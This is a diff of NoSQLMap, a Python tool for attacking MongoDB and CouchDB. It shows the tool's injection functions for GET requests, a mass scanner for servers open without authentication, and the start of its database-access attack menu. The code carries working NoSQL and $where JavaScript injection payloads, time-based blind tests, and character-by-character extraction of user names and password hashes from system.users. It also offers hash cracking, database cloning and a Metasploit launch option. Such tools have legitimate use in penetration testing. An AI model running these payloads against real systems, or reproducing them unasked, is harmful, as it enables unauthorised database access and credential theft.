- print "Exploitable requests:"
- print "\n".join(vulnAddrs)
- print "\n"
- print "Possibly vulnerable requests:"
- print"\n".join(possAddrs)
- print "\n"
- print "Timing based attacks:"
-
- if strTbAttack == True:
- print "String attack-Successful"
- else:
- print "String attack-Unsuccessful"
- if intTbAttack == True:
- print "Integer attack-Successful"
- else:
- print "Integer attack-Unsuccessful"
-
- fileOut = raw_input("Save results to file (y/n)? ")
-
- if fileOut in yes_tag:
- savePath = raw_input("Enter output file name: ")
- fo = open(savePath, "wb")
- fo.write ("Vulnerable Requests:\n")
- fo.write("\n".join(vulnAddrs))
- fo.write("\n\n")
- fo.write("Possibly Vulnerable Requests:\n")
- fo.write("\n".join(possAddrs))
- fo.write("\n")
- fo.write("Timing based attacks:\n")
-
- if strTbAttack == True:
- fo.write("String Attack-Successful\n")
- else:
- fo.write("String Attack-Unsuccessful\n")
- fo.write("\n")
-
- if intTbAttack == True:
- fo.write("Integer attack-Successful\n")
- else:
- fo.write("Integer attack-Unsuccessful\n")
- fo.write("\n")
- fo.close()
-
- raw_input("Press enter to continue...")
- return()
-
-def getApps():
- print "Web App Attacks (GET)"
- print "==============="
- paramName = []
- global testNum
- testNum = 1
- paramValue = []
- global vulnAddrs
- vulnAddrs = []
- global possAddrs
- possAddrs = []
- timeVulnsStr = []
- timeVulnsInt = []
- appUp = False
- strTbAttack = False
- intTbAttack = False
- trueStr = False
- trueInt = False
- global lt24
- lt24 = False
- global str24
- str24 = False
- global int24
- int24 = False
- global requestHeaders
-
- #Verify app is working.
- print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
-
- if https == "OFF":
- appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri)
-
- elif https == "ON":
- appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri)
- try:
- req = urllib2.Request(appURL, None, requestHeaders)
- appRespCode = urllib2.urlopen(req).getcode()
- if appRespCode == 200:
- normLength = int(len(urllib2.urlopen(req).read()))
- timeReq = urllib2.urlopen(req)
- start = time.time()
- page = timeReq.read()
- end = time.time()
- timeReq.close()
- timeBase = round((end - start), 3)
-
- if verb == "ON":
- print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n"
-
- else:
- print "App is up!"
- appUp = True
-
- else:
- print "Got " + str(appRespCode) + "from the app, check your options."
- except Exception,e:
- print e
- print "Looks like the server didn't respond. Check your options."
-
- if appUp == True:
-
- injectSize = raw_input("Baseline test-Enter random string size: ")
- injectString = randInjString(int(injectSize))
- print "Using " + injectString + " for injection testing.\n"
-
- #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
- #Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
- if "?" not in appURL:
- print "No URI parameters provided for GET request...Check your options.\n"
- raw_input("Press enter to continue...")
- return()
-
- randomUri = buildUri(appURL,injectString)
- print "URI : " + randomUri
- req = urllib2.Request(randomUri, None, requestHeaders)
-
- if verb == "ON":
- print "Checking random injected parameter HTTP response size using " + randomUri +"...\n"
- else:
- print "Sending random parameter value..."
-
- randLength = int(len(urllib2.urlopen(req).read()))
- print "Got response length of " + str(randLength) + "."
- randNormDelta = abs(normLength - randLength)
-
- if randNormDelta == 0:
- print "No change in response size injecting a random parameter..\n"
- else:
- print "Random value variance: " + str(randNormDelta) + "\n"
-
- if verb == "ON":
- print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..."
- else:
- print "Test 1: PHP/ExpressJS != associative array injection"
-
- #Test for errors returned by injection
- req = urllib2.Request(uriArray[1], None, requestHeaders)
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum += 1
- else:
- testNum += 1
-
- print "\n"
- if verb == "ON":
- print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
- print "Injecting " + uriArray[2]
- else:
- print "Test 2: $where injection (string escape)"
-
- req = urllib2.Request(uriArray[2], None, requestHeaders)
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum += 1
-
- else:
- testNum += 1
-
- print "\n"
- if verb == "ON":
- print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
- print "Injecting " + uriArray[3]
- else:
- print "Test 3: $where injection (integer escape)"
-
- req = urllib2.Request(uriArray[3], None, requestHeaders)
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum +=1
-
- else:
- testNum +=1
-
- #Start a single record attack in case the app expects only one record back
- print "\n"
- if verb == "ON":
- print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
- print " Injecting " + uriArray[4]
- else:
- print "Test 4: $where injection string escape (single record)"
-
- req = urllib2.Request(uriArray[4], None, requestHeaders)
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum += 1
- else:
- testNum += 1
-
- print "\n"
- if verb == "ON":
- print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
- print " Injecting " + uriArray[5]
- else:
- print "Test 5: $where injection integer escape (single record)"
-
- req = urllib2.Request(uriArray[5], None, requestHeaders)
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum +=1
-
- else:
- testNum += 1
-
- print "\n"
- if verb == "ON":
- print "Testing Mongo this not equals string escape attack for all records..."
- print " Injecting " + uriArray[6]
- else:
- print "Test 6: This != injection (string escape)"
-
- req = urllib2.Request(uriArray[6], None, requestHeaders)
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum += 1
- else:
- testNum += 1
-
- print "\n"
- if verb == "ON":
- print "Testing Mongo this not equals integer escape attack for all records..."
- print " Injecting " + uriArray[7]
- else:
- print "Test 7: This != injection (integer escape)"
-
- req = urllib2.Request(uriArray[7], None, requestHeaders)
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum += 1
- else:
- testNum += 1
- print "\n"
-
- if verb == "ON":
- print "Testing PHP/ExpressJS > undefined attack for all records..."
- print "Injecting " + uriArray[8]
-
- else:
- print "Test 8: PHP/ExpressJS > Undefined Injection"
-
- req = urllib2.Request(uriArray[8], None, requestHeaders)
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum += 1
-
- doTimeAttack = raw_input("Start timing based tests (y/n)? ")
-
- if doTimeAttack in yes_tag:
- print "Starting Javascript string escape time based injection..."
- req = urllib2.Request(uriArray[18], None, requestHeaders)
- start = time.time()
- strTimeInj = urllib2.urlopen(req)
- page = strTimeInj.read()
- end = time.time()
- strTimeInj.close()
- #print str(end)
- #print str(start)
- strTimeDelta = (int(round((end - start), 3)) - timeBase)
- #print str(strTimeDelta)
- if strTimeDelta > 25:
- print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible."
- strTbAttack = True
-
- else:
- print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work."
- strTbAttack = False
-
- print "Starting Javascript integer escape time based injection..."
- req = urllib2.Request(uriArray[9], None, requestHeaders)
- start = time.time()
- intTimeInj = urllib2.urlopen(req)
- page = intTimeInj.read()
- end = time.time()
- intTimeInj.close()
- #print str(end)
- #print str(start)
- intTimeDelta = (int(round((end - start), 3)) - timeBase)
- #print str(strTimeDelta)
- if intTimeDelta > 25:
- print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible."
- intTbAttack = True
-
- else:
- print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work."
- intTbAttack = False
-
- if lt24 == True:
- bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ")
-
- if bfInfo in yes_tag:
- getDBInfo()
-
-
- print "\n"
- print "Vulnerable URLs:"
- print "\n".join(vulnAddrs)
- print "\n"
- print "Possibly vulnerable URLs:"
- print"\n".join(possAddrs)
- print "\n"
- print "Timing based attacks:"
-
- if strTbAttack == True:
- print "String attack-Successful"
- else:
- print "String attack-Unsuccessful"
- if intTbAttack == True:
- print "Integer attack-Successful"
- else:
- print "Integer attack-Unsuccessful"
-
- fileOut = raw_input("Save results to file (y/n)? ")
-
- if fileOut in yes_tag:
- savePath = raw_input("Enter output file name: ")
- fo = open(savePath, "wb")
- fo.write ("Vulnerable URLs:\n")
- fo.write("\n".join(vulnAddrs))
- fo.write("\n\n")
- fo.write("Possibly Vulnerable URLs:\n")
- fo.write("\n".join(possAddrs))
- fo.write("\n")
- fo.write("Timing based attacks:\n")
-
- if strTbAttack == True:
- fo.write("String Attack-Successful\n")
- else:
- fo.write("String Attack-Unsuccessful\n")
- fo.write("\n")
-
- if intTbAttack == True:
- fo.write("Integer attack-Successful\n")
- else:
- fo.write("Integer attack-Unsuccessful\n")
- fo.write("\n")
- fo.close()
-
- raw_input("Press enter to continue...")
- return()
-
-def errorTest (errorCheck,testNum):
- global possAddrs
- global httpMethod
- global neDict
- global gtDict
- global postData
-
- if errorCheck.find('ReferenceError') != -1 or errorCheck.find('SyntaxError') != -1 or errorCheck.find('ILLEGAL') != -1:
- print "Injection returned a MongoDB Error. Injection may be possible."
-
- if httpMethod == "GET":
- possAddrs.append(uriArray[testNum])
- return True
-
- else:
- if testNum == 1:
- possAddrs.append(str(neDict))
- return True
-
- elif testNum == 2:
- possAddrs.append(str(gtDict))
- return True
-
- else:
- possAddrs.append(str(postData))
- return True
- else:
- return False
-
-
-
-def checkResult(baseSize,respSize,testNum):
- global vulnAddrs
- global possAddrs
- global lt24
- global str24
- global int24
- global httpMethod
- global neDict
- global gtDict
- global postData
-
- delta = abs(respSize - baseSize)
- if (delta >= 100) and (respSize != 0) :
- if verb == "ON":
- print "Response varied " + str(delta) + " bytes from random parameter value! Injection works!"
- else:
- print "Successful injection!"
-
- if httpMethod == "GET":
- vulnAddrs.append(uriArray[testNum])
- else:
- if testNum == 1:
- vulnAddrs.append(str(neDict))
-
- elif testNum == 2:
- vulnAddrs.append(str(gtDict))
- else:
- vulnAddrs.append(str(postData))
-
- if testNum == 3 or testNum == 5:
- lt24 = True
- str24 = True
-
- elif testNum == 4 or testNum == 6:
- lt24 = True
- int24 = True
- return
-
- elif (delta > 0) and (delta < 100) and (respSize != 0) :
- if verb == "ON":
- print "Response variance was only " + str(delta) + " bytes. Injection might have worked but difference is too small to be certain. "
- else:
- print "Possible injection."
-
- if httpMethod == "GET":
- possAddrs.append(uriArray[testNum])
- else:
- if testNum == 1:
- possAddrs.append(str(neDict))
- else:
- possAddrs.append(str(postData))
- return
-
- elif (delta == 0):
- if verb == "ON":
- print "Random string response size and not equals injection were the same. Injection did not work."
- else:
- print "Injection failed."
- return
-
- else:
- if verb == "ON":
- print "Injected response was smaller than random response. Injection may have worked but requires verification."
- else:
- print "Possible injection."
- if httpMethod == "GET":
- possAddrs.append(uriArray[testNum])
- else:
- if testNum == 1:
- possAddrs.append(str(neDict))
- else:
- possAddrs.append(str(postData))
- return
-
-def randInjString(size):
- print "What format should the random string take?"
- print "1-Alphanumeric"
- print "2-Letters only"
- print "3-Numbers only"
- print "4-Email address"
- format = True
-
- while format:
- format = raw_input("Select an option: ")
-
- if format == "1":
- chars = string.ascii_letters + string.digits
- return ''.join(random.choice(chars) for x in range(size))
-
- elif format == "2":
- chars = string.ascii_letters
- return ''.join(random.choice(chars) for x in range(size))
-
- elif format == "3":
- chars = string.digits
- return ''.join(random.choice(chars) for x in range(size))
-
- elif format == "4":
- chars = string.ascii_letters + string.digits
- return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com'
- else:
- format = True
- print "Invalid selection."
-
-
-def buildUri(origUri, randValue):
- paramName = []
- paramValue = []
- global uriArray
- uriArray = ["","","","","","","","","","","","","","","","","","",""]
- injOpt = ""
-
- #Split the string between the path and parameters, and then split each parameter
- try:
- split_uri = origUri.split("?")
- params = split_uri[1].split("&")
-
- except:
- raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...")
- return
-
- for item in params:
- index = item.find("=")
- paramName.append(item[0:index])
- paramValue.append(item[index + 1:len(item)])
-
- menuItem = 1
- print "List of parameters:"
- for params in paramName:
- print str(menuItem) + "-" + params
- menuItem += 1
-
- try:
- injIndex = raw_input("Which parameter should we inject? ")
- injOpt = str(paramName[int(injIndex)-1])
- print "Injecting the " + injOpt + " parameter..."
-
- except:
- raw_input("Something went wrong. Press enter to return to the main menu...")
- return
-
- x = 0
- uriArray[0] = split_uri[0] + "?"
- uriArray[1] = split_uri[0] + "?"
- uriArray[2] = split_uri[0] + "?"
- uriArray[3] = split_uri[0] + "?"
- uriArray[4] = split_uri[0] + "?"
- uriArray[5] = split_uri[0] + "?"
- uriArray[6] = split_uri[0] + "?"
- uriArray[7] = split_uri[0] + "?"
- uriArray[8] = split_uri[0] + "?"
- uriArray[9] = split_uri[0] + "?"
- uriArray[10] = split_uri[0] + "?"
- uriArray[11] = split_uri[0] + "?"
- uriArray[12] = split_uri[0] + "?"
- uriArray[13] = split_uri[0] + "?"
- uriArray[14] = split_uri[0] + "?"
- uriArray[15] = split_uri[0] + "?"
- uriArray[16] = split_uri[0] + "?"
- uriArray[17] = split_uri[0] + "?"
- uriArray[18] = split_uri[0] + "?"
-
- for item in paramName:
- if paramName[x] == injOpt:
- uriArray[0] += paramName[x] + "=" + randValue + "&"
- uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&"
- uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&"
- uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&"
- uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&"
- uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&"
- uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
- uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
- uriArray[8] += paramName[x] + "[$gt]=&"
- uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
- uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&"
- uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&"
- uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&"
- uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&"
- uriArray[14] += paramName[x] + "a'; return true; var dum='a"
- uriArray[15] += paramName[x] + "1; return true; var dum=2"
- #Add values that can be manipulated for database attacks
- uriArray[16] += paramName[x] + "=a\'; ---"
- uriArray[17] += paramName[x] + "=1; if ---"
- uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
-
- else:
- uriArray[0] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[1] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[2] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[3] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[4] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[5] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[6] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[7] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[8] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[9] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[10] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[11] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[12] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[13] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[14] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[15] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[16] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[17] += paramName[x] + "=" + paramValue[x] + "&"
- uriArray[18] += paramName[x] + "=" + paramValue[x] + "&"
- x += 1
-
- #Clip the extra & off the end of the URL
- x = 0
- while x <= 17:
- uriArray[x]= uriArray[x][:-1]
- x += 1
-
- return uriArray[0]
-
-
-def massScan():
- global victim
- global platform
- optCheck = True
- loadCheck = False
- ping = False
- success = []
- versions = []
- creds = []
- commError = []
- ipList = []
- print "\n"
- print platform + " Default Access Scanner"
- print "=============================="
- print "1-Scan a subnet for default " + platform + " access"
- print "2-Loads IPs to scan from a file"
- print "3-Enable/disable host pings before attempting connection"
- print "x-Return to main menu"
-
- while optCheck:
- loadOpt = raw_input("Select an option: ")
-
- if loadOpt == "1":
- subnet = raw_input("Enter subnet to scan: ")
-
- try:
- for ip in ipcalc.Network(subnet):
- ipList.append(str(ip))
- optCheck = False
- except:
- raw_input("Not a valid subnet. Press enter to return to main menu.")
- return
-
- if loadOpt == "2":
- while loadCheck == False:
- loadPath = raw_input("Enter file name with IP list to scan: ")
-
- try:
- with open (loadPath) as f:
- ipList = f.readlines()
- loadCheck = True
- optCheck = False
- except:
- print "Couldn't open file."
-
- if loadOpt == "3":
- if ping == False:
- ping = True
- print "Scan will ping host before connection attempt."
-
- elif ping == True:
- ping = False
- print "Scan will not ping host before connection attempt."
-
- if loadOpt == "x":
- return
-
-
- print "\n"
- for target in ipList:
-
- if platform == "MongoDB":
- result = nsmmongo.mongoScan(target.rstrip(),27017,ping)
-
- elif platform == "CouchDB":
- result = nsmcouch.couchScan(target.rstrip(),5984,ping)
-
- if result[0] == 0:
- print "Successful default access on " + target.rstrip() + "(" + platform + " Version: " + result[1] + ")."
- success.append(target.rstrip())
- versions.append(result[1])
-
- elif result[0] == 1:
- print platform + " running but credentials required on " + target.rstrip() + "."
- creds.append(target.rstrip()) #Future use
-
- elif result[0] == 2:
- print "Successful " + platform + " connection to " + target.rstrip() + " but error executing command."
- commError.append(target.rstrip()) #Future use
-
- elif result[0] == 3:
- print "Couldn't connect to " + target.rstrip() + "."
-
- elif result[0] == 4:
- print target.rstrip() + " didn't respond to ping."
-
-
- print "\n\n"
- select = True
- while select:
- saveEm = raw_input("Save scan results to CSV? (y/n):")
-
- if saveEm in yes_tag:
- savePath = raw_input("Enter file name to save: ")
- outCounter = 0
- try:
- fo = open(savePath, "wb")
- fo.write("IP Address," + platform + " Version\n")
- for server in success:
- fo.write(server + "," + versions[outCounter] + "\n" )
- outCounter += 1
-
- fo.close()
- print "Scan results saved!"
- select = False
- except:
- print "Couldn't save scan results."
-
- elif saveEm in no_tag:
- select = False
- else:
- select = True
-
- print "Discovered " + platform + " Servers with No Auth:"
- print "IP" + " " + "Version"
-
- outCounter= 1
-
- for server in success:
- print str(outCounter) + "-" + server + " " + versions[outCounter - 1]
- outCounter += 1
-
- select = True
- print "\n"
- while select:
- select = raw_input("Select a NoSQLMap target or press x to exit: ")
-
- if select == "x" or select == "X":
- return
-
- elif select.isdigit() == True and int(select) <= outCounter:
- victim = success[int(select) - 1]
- optionSet[0] = True
- raw_input("New target set! Press enter to return to the main menu.")
- return
-
- else:
- raw_input("Invalid selection.")
-
-
-
-def getDBInfo():
- curLen = 0
- nameLen = 0
- gotFullDb = False
- gotNameLen = False
- gotDbName = False
- gotColLen = False
- gotColName = False
- gotUserCnt = False
- finUser = False
- dbName = ""
- charCounter = 0
- nameCounter = 0
- usrCount = 0
- retrUsers = 0
- users = []
- hashes = []
- crackHash = ""
-
- chars = string.ascii_letters + string.digits
- print "Getting baseline True query return size..."
- trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&")
- #print "Debug " + str(trueUri)
- req = urllib2.Request(trueUri, None, requestHeaders)
- baseLen = int(len(urllib2.urlopen(req).read()))
- print "Got baseline true query length of " + str(baseLen)
-
- print "Calculating DB name length..."
-
- while gotNameLen == False:
- calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&")
- #print "Debug: " + calcUri
- req = urllib2.Request(calcUri, None, requestHeaders)
- lenUri = int(len(urllib2.urlopen(req).read()))
- #print "Debug length: " + str(lenUri)
-
- if lenUri == baseLen:
- print "Got database name length of " + str(curLen) + " characters."
- gotNameLen = True
-
- else:
- curLen += 1
-
- print "Database Name: ",
- while gotDbName == False:
- charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&")
-
- req = urllib2.Request(charUri, None, requestHeaders)
- lenUri = int(len(urllib2.urlopen(req).read()))
-
- if lenUri == baseLen:
- dbName = dbName + chars[charCounter]
- print chars[charCounter],
- nameCounter += 1
- charCounter = 0
-
- if nameCounter == curLen:
- gotDbName = True
-
-
- else:
- charCounter += 1
- print "\n"
-
- getUserInf = raw_input("Get database users and password hashes (y/n)? ")
-
- if getUserInf in yes_tag:
- charCounter = 0
- nameCounter = 0
- #find the total number of users on the database
- while gotUserCnt == False:
- usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a")
-
- req = urllib2.Request(usrCntUri, None, requestHeaders)
- lenUri = int(len(urllib2.urlopen(req).read()))
-
- if lenUri == baseLen:
- print "Found " + str(usrCount) + " user(s)."
- gotUserCnt = True
-
- else:
- usrCount += 1
-
- usrChars = 0 #total number of characters in username
- charCounterUsr = 0 #position in the character array-Username
- rightCharsUsr = 0 #number of correct characters-Username
- rightCharsHash = 0 #number of correct characters-hash
- charCounterHash = 0 #position in the character array-hash
- username = ""
- pwdHash = ""
- charCountUsr = False
- query = "{}"
-
- while retrUsers < usrCount:
- if retrUsers == 0:
- while charCountUsr == False:
- #different query to get the first user vs. others
- usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
-
- req = urllib2.Request(usrUri, None, requestHeaders)
- lenUri = int(len(urllib2.urlopen(req).read()))
-
- if lenUri == baseLen:
- #Got the right number of characters
- charCountUsr = True
-
- else:
- usrChars += 1
-
- while rightCharsUsr < usrChars:
- usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&")
-
- req = urllib2.Request(usrUri, None, requestHeaders)
- lenUri = int(len(urllib2.urlopen(req).read()))
-
- if lenUri == baseLen:
- username = username + chars[charCounterUsr]
- #print username
- rightCharsUsr += 1
- charCounterUsr = 0
-
- else:
- charCounterUsr += 1
-
- retrUsers += 1
- users.append(username)
- #reinitialize all variables and get ready to do it again
- #print str(retrUsers)
- #print str(users)
- charCountUsr = False
- rightCharsUsr = 0
- usrChars = 0
- username = ""
-
- while rightCharsHash < 32: #Hash length is static
- hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&")
-
- req = urllib2.Request(hashUri, None, requestHeaders)
- lenUri = int(len(urllib2.urlopen(req).read()))
-
- if lenUri == baseLen:
- pwdHash = pwdHash + chars[charCounterHash]
- #print pwdHash
- rightCharsHash += 1
- charCounterHash = 0
-
- else:
- charCounterHash += 1
-
- hashes.append(pwdHash)
- print "Got user:hash " + users[0] + ":" + hashes[0]
- #reinitialize all variables and get ready to do it again
- charCounterHash = 0
- rightCharsHash = 0
- pwdHash = ""
- else:
- while charCountUsr == False:
- #different query to get the first user vs. others
- usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
-
- req = urllib2.Request(usrUri, None, requestHeaders)
- lenUri = int(len(urllib2.urlopen(req).read()))
-
- if lenUri == baseLen:
- #Got the right number of characters
- charCountUsr = True
-
- else:
- usrChars += 1
-
- while rightCharsUsr < usrChars:
- usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&")
-
- req = urllib2.Request(usrUri, None, requestHeaders)
- lenUri = int(len(urllib2.urlopen(req).read()))
-
- if lenUri == baseLen:
- username = username + chars[charCounterUsr]
- #print username
- rightCharsUsr += 1
- charCounterUsr = 0
-
- else:
- charCounterUsr += 1
-
- retrUsers += 1
- #reinitialize all variables and get ready to do it again
-
- charCountUsr = False
- rightCharsUsr = 0
- usrChars = 0
-
- while rightCharsHash < 32: #Hash length is static
- hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&")
-
- req = urllib2.Request(hashUri, None, requestHeaders)
- lenUri = int(len(urllib2.urlopen(req).read()))
-
- if lenUri == baseLen:
- pwdHash = pwdHash + chars[charCounterHash]
- rightCharsHash += 1
- charCounterHash = 0
-
- else:
- charCounterHash += 1
-
- users.append(username)
- hashes.append(pwdHash)
- print "Got user:hash " + users[retrUsers-1] + ":" + hashes[retrUsers-1]
- #reinitialize all variables and get ready to do it again
- username = ""
- charCounterHash = 0
- rightCharsHash = 0
- pwdHash = ""
- crackHash = raw_input("Crack recovered hashes (y/n)?: ")
-
- while crackHash in yes_tag:
- menuItem = 1
- for user in users:
- print str(menuItem) + "-" + user
- menuItem +=1
-
- userIndex = raw_input("Select user hash to crack: ")
- nsmmongo.passCrack(users[int(userIndex)-1],hashes[int(userIndex)-1])
-
- crackHash = raw_input("Crack another hash (y/n)?")
- raw_input("Press enter to continue...")
- return
-
-
-def signal_handler(signal, frame):
- print "\n"
- print "CTRL+C detected. Exiting."
- sys.exit()
-
-if __name__ == '__main__':
- main()
diff --git a/nsmmongo.py b/nsmmongo.py
index dfac3f9..638c97d 100644
--- a/nsmmongo.py
+++ b/nsmmongo.py
@@ -28,386 +28,386 @@
no_tag = ['n', 'N']
def netAttacks(target, dbPort, myIP, myPort):
- print "DB Access attacks (MongoDB)"
- print "================="
- mgtOpen = False
- webOpen = False
- mgtSelect = True
- #This is a global for future use with other modules; may change
- global dbList
- dbList = []
-
- print "Checking to see if credentials are needed..."
- needCreds = mongoScan(target,dbPort,False)
-
- if needCreds[0] == 0:
- conn = pymongo.MongoClient(target,dbPort)
- print "Successful access with no credentials!"
- mgtOpen = True
-
- elif needCreds[0] == 1:
- print "Login required!"
- srvUser = raw_input("Enter server username: ")
- srvPass = raw_input("Enter server password: ")
- uri = "mongodb://" + srvUser + ":" + srvPass + "@" + target +"/"
-
- try:
- conn = pymongo.MongoClient(target)
- print "MongoDB authenticated on " + target + ":27017!"
- mgtOpen = True
- except:
- raw_input("Failed to authenticate. Press enter to continue...")
- return
-
- elif needCreds[0] == 2:
- conn = pymongo.MongoClient(target,dbPort)
- print "Access check failure. Testing will continue but will be unreliable."
- mgtOpen = True
-
- elif needCreds[0] == 3:
- print "Couldn't connect to Mongo server."
- return
-
-
- mgtUrl = "http://" + target + ":28017"
- #Future rev: Add web management interface parsing
-
- try:
- mgtRespCode = urllib.urlopen(mgtUrl).getcode()
- if mgtRespCode == 200:
- print "MongoDB web management open at " + mgtUrl + ". No authentication required!"
- testRest = raw_input("Start tests for REST Interface (y/n)? ")
-
- if testRest in yes_tag:
- restUrl = mgtUrl + "/listDatabases?text=1"
- restResp = urllib.urlopen(restUrl).read()
- restOn = restResp.find('REST is not enabled.')
-
- if restOn == -1:
- print "REST interface enabled!"
- dbs = json.loads(restResp)
- menuItem = 1
- print "List of databases from REST API:"
-
- for x in range(0,len(dbs['databases'])):
- dbTemp= dbs['databases'][x]['name']
- print str(menuItem) + "-" + dbTemp
- menuItem += 1
- else:
- print "REST interface not enabled."
- print "\n"
-
- except Exception, e:
- print "MongoDB web management closed or requires authentication."
-
- if mgtOpen == True:
-
- while mgtSelect:
- print "\n"
- print "1-Get Server Version and Platform"
- print "2-Enumerate Databases/Collections/Users"
- print "3-Check for GridFS"
- print "4-Clone a Database"
- print "5-Launch Metasploit Exploit for Mongo < 2.2.4"
- print "6-Return to Main Menu"
- attack = raw_input("Select an attack: ")
-
- if attack == "1":
- print "\n"
- getPlatInfo(conn)
-
- if attack == "2":
- print "\n"
- enumDbs(conn)
-
- if attack == "3":
- print "\n"
- enumGrid(conn)
-
- if attack == "4":
- if myIP == "Not Set":
- print "Target database not set!"
- else:
- print "\n"
- stealDBs(myIP,target,conn)
-
- if attack == "5":
- print "\n"
- msfLaunch()
-
- if attack == "6":
- return
+ print "DB Access attacks (MongoDB)"
+ print "================="
+ mgtOpen = False
+ webOpen = False
+ mgtSelect = True
